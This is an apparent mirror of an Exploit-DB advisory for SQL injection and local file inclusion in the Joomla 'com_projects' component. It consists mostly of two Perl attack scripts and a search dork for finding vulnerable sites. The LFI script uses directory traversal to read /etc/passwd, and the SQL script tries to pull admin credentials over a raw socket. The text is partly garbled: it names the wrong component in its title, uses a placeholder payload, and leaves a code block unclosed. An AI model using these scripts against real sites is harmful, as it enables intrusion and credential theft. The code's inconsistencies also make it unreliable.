Joomla! Component Projects ‘com_projects’ – SQL Injection / Local File Inclusion

• Exploit Database
• 9 阅读

• 作者： jos_ali_joe
  日期： 2010-10-27
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34934/

• source: https://www.securityfocus.com/bid/44456/info
  
  The 'com_projects' component for Joomla! is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
  
  An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. By using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks. 
  
  =========================================================
  JoomlaComponent com_projects LFI & SQL Vulnerability
  =========================================================
  
  [+]Title: JoomlaComponent com_calendrier RFI Vulnerability
  [+]Author : jos_ali_joe
  [+]Contact: josalijoe@yahoo.com
  [+]Home 	: http://josalijoe.wordpress.com/		
  ######################################################################## 
  Dork		: inurl:index.php?option="com_projects"
  ######################################################################## 
  [ Software Information ]
  ########################################################################
  [+] Vendor : http://www.codegravity.com/
  [+] Download : http://www.joomla.org/download.html
  [+] version : Joomla 1.5
  [+] Vulnerability : LFI and SQL Vulnerability
  [+] Dork : com_projects
  ########################################################################
  [+] Exploit: LFI
  ====================================================================================
  http://localhost/index.php?option=com_projects&controller=[ LFI ]
  ====================================================================================
  use LWP::UserAgent;
  use HTTP::Request;
  use LWP::Simple;
  
  print "\t\t########################################################\n\n";
  print "\t\t#JoomlaComponent com_projects LFI Vulnerability#\n\n";
  print "\t\t#by jos_ali_joe#\n\n";
  print "\t\t########################################################\n\n";
  
  
  if (!$ARGV[0])
  {
  print "Usage: perl idc.pl [HOST]\n";
  print "Example: perl idc.pl http://localhost/LFI/\n";;
  }
  
  else
  {
  
  $web=$ARGV[0];
  chomp $web;
  
  $iny="agregar_info.php?tabla=../../../../../../../../../../../../../../../../etc/passwd%00";
  
  my $web1=$web.$iny;
  print "$web1\n\n";
  my $ua = LWP::UserAgent->new;
  my $req=HTTP::Request->new(GET=>$web1);
  $doc = $ua->request($req)->as_string;
  
  if ($doc=~ /^root/moxis ){
  print "Web is vuln\n";
  }
  else
  {
  print "Web is not vuln\n";
  }
  
  }
  
  ####################################################################################
  [+] Exploit: SQL
  ====================================================================================
  http://localhost/index.php?option=com_projects&view=project&id=[ SQL ]
  ====================================================================================
  use IO::Socket;
  if(@ARGV < 1){
  print "
  [========================================================================
  [// Joomla Component com_projects SQL Injection Exploit
  [// Usage: idc.pl [target]
  [// Example: idc.pl localhost.com
  [// Vuln&Exp : jos_ali_joe
  [========================================================================
  ";
  exit();
  }
  #Local variables
  $server = $ARGV[0];
  $server =~ s/(http:\/\/)//eg;
  $host = "http://".$server;
  $port = "80";
  $file = "/index.php?option=com_projects&view=project&id=";
   
  print "Script <DIR> : ";
  $dir = <STDIN>;
  chop ($dir);
   
  if ($dir =~ /exit/){
  print "-- Exploit Failed[You Are Exited] \n";
  exit();
  }
   
  if ($dir =~ /\//){}
  else {
  print "-- Exploit Failed[No DIR] \n";
  exit();
   }
   
   
  $target = "SQL Injection Exploit";
  $target = $host.$dir.$file.$target;
   
  #Writing data to socket
  print "+**********************************************************************+\n";
  print "+ Trying to connect: $server\n";
  $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
  print $socket "GET $target HTTP/1.1\n";
  print $socket "Host: $server\n";
  print $socket "Accept: * /*\n";
  print $socket "Connection: close\n\n";
  print "+ Connected!...\n";
  #Getting
  while($answer = <$socket>) {
  if ($answer =~ /username:(.*?)pass/){
  print "+ Exploit succeed! Getting admin information.\n";
  print "+ ---------------- +\n";
  print "+ Username: $1\n";
  }
  
  ####################################################################################
  Thanks :
  ./kaMtiEz ? ibl13Z ? Xrobot ? tukulesto ? R3m1ck ? jundab - asickboys- Vyc0d ? Yur4kha - XPanda - eL Farhatz
  ./ArRay ? akatsuchi ? K4pt3N ? Gameover ? antitos ? yuki ? pokeng ? ffadill - Alecs - v3n0m - RJ45
  ./Kiddies ? pL4nkt0n ? chaer newbie ? andriecom ? Abu_adam ? Petimati - hakz ? Virgi ? Anharku - a17z a.k.a maho
  ./Me Family ATeN4 :
  ./N4ck0 - Aury - TeRRenJr - Rafael - aphe-aphe 
  Greets For :
  ./Devilzc0de crew ? Kebumen Cyber ? Explore Crew ? Indonesian Hacker - Byroe Net - Yogyacarderlink - Hacker Newbie - Jatim Crew - Malang Cyber
  My Team : ./Indonesian Coder